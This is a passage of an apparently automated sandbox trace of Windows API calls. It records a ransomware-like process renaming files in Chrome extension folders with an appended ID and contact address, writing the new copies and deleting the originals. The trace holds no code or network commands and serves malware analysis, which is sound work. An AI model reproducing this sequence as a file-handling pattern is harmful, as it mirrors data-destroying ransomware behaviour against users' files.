[0180.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.548] lstrlenW (lpString=".1cd") returned 4 [0180.548] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.548] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.548] lstrlenW (lpString=".jpg") returned 4 [0180.548] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.548] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.548] lstrlenW (lpString="messages.json") returned 13 [0180.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.548] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=232) returned 1 [0180.549] CloseHandle (hObject=0x2e0) returned 1 [0180.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json")) returned 0x2020 [0180.549] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.549] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.549] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.550] GetLastError () returned 0x0 [0180.550] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe8, lpOverlapped=0x0) returned 1 [0180.550] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.551] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.551] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.551] SetEndOfFile (hFile=0x334) returned 1 [0180.552] CloseHandle (hObject=0x334) returned 1 [0180.552] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.552] SetEndOfFile (hFile=0x2e0) returned 1 [0180.552] CloseHandle (hObject=0x2e0) returned 1 [0180.552] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.553] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json")) returned 1 [0180.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.553] lstrlenW (lpString=".doc") returned 4 [0180.553] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".docx") returned 5 [0180.553] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.553] lstrlenW (lpString=".pdf") returned 4 [0180.553] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".xls") returned 4 [0180.553] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".xlsx") returned 5 [0180.553] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.553] lstrlenW (lpString=".ppt") returned 4 [0180.553] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.553] lstrlenW (lpString=".zip") returned 4 [0180.553] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".rar") returned 4 [0180.553] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".bz2") returned 4 [0180.553] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.553] lstrlenW (lpString=".7z") returned 3 [0180.553] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.553] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.553] lstrlenW (lpString=".dbf") returned 4 [0180.554] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.554] lstrlenW (lpString=".1cd") returned 4 [0180.554] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.554] lstrlenW (lpString=".jpg") returned 4 [0180.554] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.554] lstrlenW (lpString=".doc") returned 4 [0180.554] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.554] lstrlenW (lpString=".docx") returned 5 [0180.554] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.554] lstrlenW (lpString=".pdf") returned 4 [0180.554] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.554] lstrlenW (lpString=".xls") returned 4 [0180.554] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.554] lstrlenW (lpString=".xlsx") returned 5 [0180.554] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.554] lstrlenW (lpString=".ppt") returned 4 [0180.554] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.554] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.554] lstrlenW (lpString=".zip") returned 4 [0180.554] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.554] lstrlenW (lpString=".rar") returned 4 [0180.554] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.554] lstrlenW (lpString=".bz2") returned 4 [0180.554] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.555] lstrlenW (lpString=".7z") returned 3 [0180.555] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.555] lstrlenW (lpString=".dbf") returned 4 [0180.555] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.555] lstrlenW (lpString=".1cd") returned 4 [0180.555] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.555] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 151 [0180.555] lstrlenW (lpString=".jpg") returned 4 [0180.555] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.555] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.555] lstrlenW (lpString="messages.json") returned 13 [0180.555] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.556] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=258) returned 1 [0180.556] CloseHandle (hObject=0x2e0) returned 1 [0180.557] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0180.557] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.558] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.558] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.558] GetLastError () returned 0x0 [0180.558] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x102, lpOverlapped=0x0) returned 1 [0180.559] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0180.560] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.560] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.560] SetEndOfFile (hFile=0x334) returned 1 [0180.560] CloseHandle (hObject=0x334) returned 1 [0180.560] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.560] SetEndOfFile (hFile=0x2e0) returned 1 [0180.561] CloseHandle (hObject=0x2e0) returned 1 [0180.561] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.561] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\messages.json")) returned 1 [0180.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.562] lstrlenW (lpString=".doc") returned 4 [0180.562] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".docx") returned 5 [0180.562] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.562] lstrlenW (lpString=".pdf") returned 4 [0180.562] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".xls") returned 4 [0180.562] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".xlsx") returned 5 [0180.562] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.562] lstrlenW (lpString=".ppt") returned 4 [0180.562] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.562] lstrlenW (lpString=".zip") returned 4 [0180.562] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".rar") returned 4 [0180.562] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".bz2") returned 4 [0180.562] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.562] lstrlenW (lpString=".7z") returned 3 [0180.562] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.562] lstrlenW (lpString=".dbf") returned 4 [0180.562] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.562] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.562] lstrlenW (lpString=".1cd") returned 4 [0180.563] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.563] lstrlenW (lpString=".jpg") returned 4 [0180.563] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.563] lstrlenW (lpString=".doc") returned 4 [0180.563] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".docx") returned 5 [0180.563] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.563] lstrlenW (lpString=".pdf") returned 4 [0180.563] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".xls") returned 4 [0180.563] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".xlsx") returned 5 [0180.563] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.563] lstrlenW (lpString=".ppt") returned 4 [0180.563] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.563] lstrlenW (lpString=".zip") returned 4 [0180.563] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".rar") returned 4 [0180.563] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".bz2") returned 4 [0180.563] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.563] lstrlenW (lpString=".7z") returned 3 [0180.563] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.563] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.850] lstrlenW (lpString=".dbf") returned 4 [0180.850] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.850] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.850] lstrlenW (lpString=".1cd") returned 4 [0180.850] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.850] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 154 [0180.850] lstrlenW (lpString=".jpg") returned 4 [0180.850] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.851] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0180.851] lstrlenW (lpString="background_script.js") returned 20 [0180.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.008] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=43164) returned 1 [0181.008] CloseHandle (hObject=0x158) returned 1 [0181.008] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js")) returned 0x2020 [0181.008] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.019] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.029] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.029] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 